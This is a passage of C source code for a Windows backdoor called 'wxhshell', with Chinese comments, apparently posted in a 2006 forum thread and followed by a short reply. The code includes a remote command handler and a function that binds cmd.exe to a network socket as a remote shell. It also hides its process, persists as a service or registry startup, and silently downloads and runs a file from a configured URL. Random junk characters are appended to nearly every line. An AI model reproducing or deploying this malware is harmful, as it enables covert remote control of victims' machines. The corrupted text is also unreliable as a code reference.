q|j;dI&  
    switch(cmd[0]) { rkzhN59;  
  NeWssSje  
  // 帮助 L@+j8[3BX  
  case '?': { S-L6KA{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e;gf??8}  
    break; YV2^eGr.  
  } U} g%`<  
  // 安装 ~PV>3c3l=  
  case 'i': { 5= F-^  
    if(Install()) k4`v(au^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rc6Rk!^  
    else jRBx7|ON  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R vY`9D  
    break; Dg]i};  
    } FTB"C[>  
  // 卸载 69L s"e  
  case 'r': { f.u{;W  
    if(Uninstall()) Psv-y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @.gCeMlOf  
    else !7w-?1?D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oL~Yrb%R  
    break; |n~v_V2.0  
    } Rp|:$5&nE  
  // 显示 wxhshell 所在路径 tF'67,~W  
  case 'p': { zzxU9m~"  
    char svExeFile[MAX_PATH]; WH/a#F  
    strcpy(svExeFile,"\n\r"); E6G^?k~q  
      strcat(svExeFile,ExeFile); H1@"Yg8  
        send(wsh,svExeFile,strlen(svExeFile),0); w8on3f;6n#  
    break; ^a]i&o[c  
    } d*G $qUiX  
  // 重启 [;b9'7j'  
  case 'b': { m1cyCD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1H ZexV  
    if(Boot(REBOOT)) Fl O%O D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|Ai<2b$  
    else { ZqhINM*Rm  
    closesocket(wsh); E^qKkl  
    ExitThread(0); 6yR7RF}  
    } _6|b0*jv'&  
    break; c]O4l2nCL  
    } x^ Wgo`v)  
  // 关机 &Y,Rm78  
  case 'd': { @!Pq"/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); leiza?[  
    if(Boot(SHUTDOWN)) )oNomsn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .FC1:y<aO  
    else { 5yQgGd)  
    closesocket(wsh); H<>x_}&  
    ExitThread(0); <;Xj4 J  
    } oi!E v_h  
    break; aH~il!K  
    } "44X'G8N  
  // 获取shell  [g/g(RL  
  case 's': { e]5QqM7  
    CmdShell(wsh); $`riB$v  
    closesocket(wsh); eC3ZK"oJ  
    ExitThread(0); 4RK^efnp  
    break; sPhh#VCw{  
  } 4iw+3 Q|  
  // 退出 ycH=L8  
  case 'x': { i\3`?d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >Qi2;t~G  
    CloseIt(wsh); cL}g7D  
    break; 4}0s^>R  
    } ,,6e }o6  
  // 离开 zi5;>Iv0}  
  case 'q': { ^,rbA>/L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U"ZDt  
    closesocket(wsh); y)=Xo7j  
    WSACleanup(); hxv/285B  
    exit(1); LsLsSV  
    break; a~{mRh  
        } Bkcs4 x  
  } wWH5T}\  
  } +DU}f;O8v  
U/TF,JUI  
  // 提示信息 hnyZXk1|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q.!D2RZc  
} 9]|cs  
  } a*o=,!  
j{nL33T%  
  return; BCFvqhF7s  
} &6!x;RB  
0Pbv7)=XL  
// shell模块句柄 eM{+R^8  
int CmdShell(SOCKET sock) 2r\ f!m'  
{ A?Uyj  
STARTUPINFO si; 0b4QcfB1[  
ZeroMemory(&si,sizeof(si)); 'w&,3@Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }]/"auk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {wK98>$a  
PROCESS_INFORMATION ProcessInfo; P)Sw`^d  
char cmdline[]="cmd"; >+&524xc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6=iz@C7r  
  return 0; <Azv VSA,  
} <&Y7Q[  
Ij4oH  
// 自身启动模式 #5=Yg5   
int StartFromService(void) g&X$)V4C  
{ YGNO]Q~A  
typedef struct yX/ 9jk  
{ m{;2!  
  DWORD ExitStatus; }5u$/c@f1  
  DWORD PebBaseAddress; :<!a.%=  
  DWORD AffinityMask; +H8]5~',L%  
  DWORD BasePriority; 8L^5bJ  
  ULONG UniqueProcessId; (xy/:i".V  
  ULONG InheritedFromUniqueProcessId; 'tklz*  
}   PROCESS_BASIC_INFORMATION; `gx_+m^  
H W)> `  
PROCNTQSIP NtQueryInformationProcess; pFx7URZA  
8-+Ce;h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]haZT\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &KmV tj  
}[\l$sS  
  HANDLE             hProcess; }e  s  
  PROCESS_BASIC_INFORMATION pbi; (~#{{Ja  
t[Qf|#g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jt  ^a  
  if(NULL == hInst ) return 0; ( hp 52Vse  
:H@ Q`g u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RNiFLD%5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wa5wkuS)ld  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -X3yCK?re  
`$Z:j;F  
  if (!NtQueryInformationProcess) return 0; C%vR!Az  
f,9/Yg_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jZx.MBVy]  
  if(!hProcess) return 0; *?:V)!.2z  
W9+H /T7!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I r]#u]Ap  
\QGh@AQp"  
  CloseHandle(hProcess); Y{ijSOl3  
49W@?: b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cjc>0)f&.  
if(hProcess==NULL) return 0; +`}QIp0  
ibAZ=RD  
HMODULE hMod; *eK\W00  
char procName[255]; "wy|gnQJ  
unsigned long cbNeeded; MAb*4e#  
x-1RmL_%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  qr~P$  
Jz<-B  
  CloseHandle(hProcess); 98'/yZ  
g 0O~5.f  
if(strstr(procName,"services")) return 1; // 以服务启动 F>RL&i  
Q8. =w  
  return 0; // 注册表启动 q!iS Y  
} LDc?/ Z1  
~.7/o0'+  
// 主模块 )31{.c/  
int StartWxhshell(LPSTR lpCmdLine) /N'0@ q  
{ iI.pxo s  
  SOCKET wsl; |qm_ESzl  
BOOL val=TRUE; =HapCmrx8  
  int port=0; H{hd1  
  struct sockaddr_in door; $lVR6|n  
W T~UEK'  
  if(wscfg.ws_autoins) Install(); 79`OB##  
1 etl:gcEC  
port=atoi(lpCmdLine); +-2o b90_m  
: 8h\x  
if(port<=0) port=wscfg.ws_port; &YpViC4K.  
( f]@lNmx  
  WSADATA data; Jui:Ms  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QiKci%=SX  
J'}G~rB<<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GBeWF-`B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F \0>/  
  door.sin_family = AF_INET; C-)mP- |8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2~`vV'K  
  door.sin_port = htons(port); w.X MyHj  
1V ,Mk#_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7M8oI.?C|  
closesocket(wsl); yzyBr1s  
return 1; RD6n1Wb(@  
} N> 7sG(!'"  
A#7/,1h\  
  if(listen(wsl,2) == INVALID_SOCKET) { vbBNXy/  
closesocket(wsl); RISDjU3  
return 1; F+@/"1c  
} 8FT]B/^&m  
  Wxhshell(wsl); {&dbxj-'  
  WSACleanup(); {=I:K|&  
}uR[H2D`L  
return 0; R`5g#  
H2kib4^i  
} z][hlDv\j  
=M6Ph%  
// 以NT服务方式启动 (fA>@5n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /aTW X  
{ {{6D4M|s  
DWORD   status = 0; X8 $Y2?<  
  DWORD   specificError = 0xfffffff; +P! ibHfP  
MpK3+4UMa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ES}V\k*}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2]of 4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kz_gR;"(Z  
  serviceStatus.dwWin32ExitCode     = 0; z( \4{Y  
  serviceStatus.dwServiceSpecificExitCode = 0; M}fk[Yr>  
  serviceStatus.dwCheckPoint       = 0; jlxY|;gZ-0  
  serviceStatus.dwWaitHint       = 0; YY zUg  
b1TIVK3m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]J1oY]2~  
  if (hServiceStatusHandle==0) return; yopC <k  
=cR"_Z[8X  
status = GetLastError(); 9\'JtZO  
  if (status!=NO_ERROR) `' .;U=mF  
{ HVdy!J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4bs<j  
    serviceStatus.dwCheckPoint       = 0; \E(^<Af  
    serviceStatus.dwWaitHint       = 0; ~U r  
    serviceStatus.dwWin32ExitCode     = status; X;bHlA-g  
    serviceStatus.dwServiceSpecificExitCode = specificError; y'5`Uo?\",  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]z#+3DaH  
    return; oBO4a^D  
  } 9r. h^  
PZ >(cvX&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `5Bv2 wlIV  
  serviceStatus.dwCheckPoint       = 0; XL3m#zW&  
  serviceStatus.dwWaitHint       = 0; ;9CbioO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a,|Hn  
} ))%f"=:wt  
U)[LKO1  
// 处理NT服务事件,比如:启动、停止 Ij>G7Q*d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A` ~R\j  
{ i/ .#`  
switch(fdwControl) $d-$dM?R5  
{ 4^Ss\$*  
case SERVICE_CONTROL_STOP: 1=Kt.tuf  
  serviceStatus.dwWin32ExitCode = 0; b/{$#[oP`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8NkyT_\  
  serviceStatus.dwCheckPoint   = 0; dl.gCiI  
  serviceStatus.dwWaitHint     = 0; qRSoF04!R  
  { N~uc%wOA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ds9U9t  
  } h#p[6}D  
  return; htT9Hrx  
case SERVICE_CONTROL_PAUSE: 0GlQWRa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sWmqx$  
  break; \G#_z|'dN  
case SERVICE_CONTROL_CONTINUE: eQz.N<f"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c/7}5#Rs  
  break; h`dHk]O  
case SERVICE_CONTROL_INTERROGATE: ^g |j4N  
  break; [_eT{v2B4  
}; ppo.#p0w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %+htA0aX  
} GorEHlvVh  
* >/w,E]  
// 标准应用程序主函数 **$kW bS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -9~$Ll+2h  
{ RBz"1hRo`  
/Xq|S O  
// 获取操作系统版本 IgjPy5k  
OsIsNt=GetOsVer(); 1M.#7;#B3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 25f[s.pv8  
L@'2}7N1%  
  // 从命令行安装 $Zr \$z2  
  if(strpbrk(lpCmdLine,"iI")) Install(); &pQ[(|=(  
h3bQ<?m  
  // 下载执行文件 7H*,HZc@=  
if(wscfg.ws_downexe) { Q;N)$Xx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /6rQ.+|).  
  WinExec(wscfg.ws_filenam,SW_HIDE); h<V,0sZ&:  
} o|u4C{j  
G1-r$7\  
if(!OsIsNt) { 9M^5<8:  
// 如果时win9x,隐藏进程并且设置为注册表启动 @~Ys*]4UE  
HideProc(); nuDu  
StartWxhshell(lpCmdLine); <ne?;P1L  
} CA1Jjm=  
else S}fQis  
  if(StartFromService()) !?R#e`}  
  // 以服务方式启动 4X",:B}  
  StartServiceCtrlDispatcher(DispatchTable); ])G| U A.  
else qzNXz_#+u  
  // 普通方式启动 # > I_  
  StartWxhshell(lpCmdLine); :@@`N_2?  
=jKu=!QPq  
return 0; T+x / J]A  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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